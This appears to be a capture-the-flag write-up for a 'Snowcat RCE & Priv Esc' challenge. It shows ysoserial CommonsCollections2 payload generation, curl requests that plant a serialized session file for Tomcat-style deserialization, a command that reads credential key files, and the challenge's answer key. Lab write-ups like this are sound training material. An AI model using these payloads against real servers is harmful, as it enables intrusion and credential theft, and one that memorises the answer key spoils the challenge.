Snowcat RCE & Priv Esc

Difficulty:
Direct link: Snowcat RCE & Priv Esc

Objective

Request

Tom, in the hotel, found a wild Snowcat bug. Help him chase down the RCE! Recover and submit the API key not being used by snowcat.

Tom Hessman

We've lost access to the neighborhood weather monitoring station.

There are a couple of vulnerabilities in the snowcat and weather monitoring services that we haven't gotten around to fixing.

Can you help me exploit the vulnerabilities and retrieve the other application's authorization key?

Enter the other application's authorization key into the badge.

If Frosty's plan works and everything freezes over, our customers won't be having the best possible experience—they'll be having the coldest possible experience! We need to stop this before the whole neighborhood becomes one giant freezer.

Solution

Tom asked to exploit the vulnerabilities in the weather monitoring system and find the unused authorization key.

I was presented with a CLI that stated the same message as Paul.

I listed the working directory and opened the provided notes file to understand the expected workflow.

ls
cat notes.md

The note file gave instructions on the steps that I can take to exploit the vulnerabilities.

The second half of the notes outlined the RCE workflow, payload storage, and privilege escalation goal.

I checked the CVE details online to confirm the attack preconditions and Tomcat-like session deserialization angle.

Next I checked ysoserial to see the available payloads and dependencies.

java -jar ysoserial.jar

I also looked at the installed packages on the system, but I did not get any useful information from it.

apt list --installed

I looked at the dashboard code for the weather monitoring system. From the dashboard code, I confirmed the app imports org.apache.commons.collections.map and found the first key used by the weather commands. This shows that I can use a CommonsCollections payload.

cat weather-jsps/dashboard.jsp

I generated a CommonsCollections2 payload and followed the notes to store it as payload.bin.

java -jar ysoserial.jar CommonsCollections2 "curl http://127.0.0.1:8005" > payload.bin
export HOST=127.0.0.1
export PORT=8005
curl http://127.0.0.1:8005
curl http://127.0.0.1:80

I then tried the PUT and GET sequence from the notes to test the payload, but the RCE did not work and returned a conflict status.

export SESSION_ID=1
curl -X PUT \
    -H "Host: ${HOST}:${PORT}" \
    -H "Content-Length: $(wc -c < payload.bin)" \
    -H "Content-Range: bytes 0-$(($(wc -c < payload.bin)-1))/$(wc -c < payload.bin)" \
    --data-binary @payload.bin \
    "http://${HOST}:${PORT}/${SESSION_ID}/session"
curl -X GET \
    -H "Host: ${HOST}:${PORT}" \
    -H "Cookie: JSESSIONID=${SESSION_ID}" \
    "http://${HOST}:${PORT}/"

I checked the keys folder directly and confirmed I did not have permissions as the current user.

ls /usr/local/weather/
ls /usr/local/weather/keys

Since I was stuck, I checked online and found a report at this link https://www.youtube.com/watch?v=rm8aunk9dSg&t=1247s for the objective.

From there, I found out that I can run the weather helper with the first key and get the second key.

Finally, I ran the weather helper with the first key and read the weather keys directory to extract the second key.

/usr/local/weather/temperature "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6" ; cat /usr/local/weather/keys/* ; echo ""

After submitting the flag, the objective was added to the achievements list.

Answer

8ade723d-9968-45c9-9c33-7606c49c2201

Response

Tom Hessman

Fantastic work! You've successfully exploited those vulnerabilities and retrieved the authorization key from the weather monitoring system.

Thanks for helping me get access back - our customers are going to have a much better experience now that we've got the weather station running again!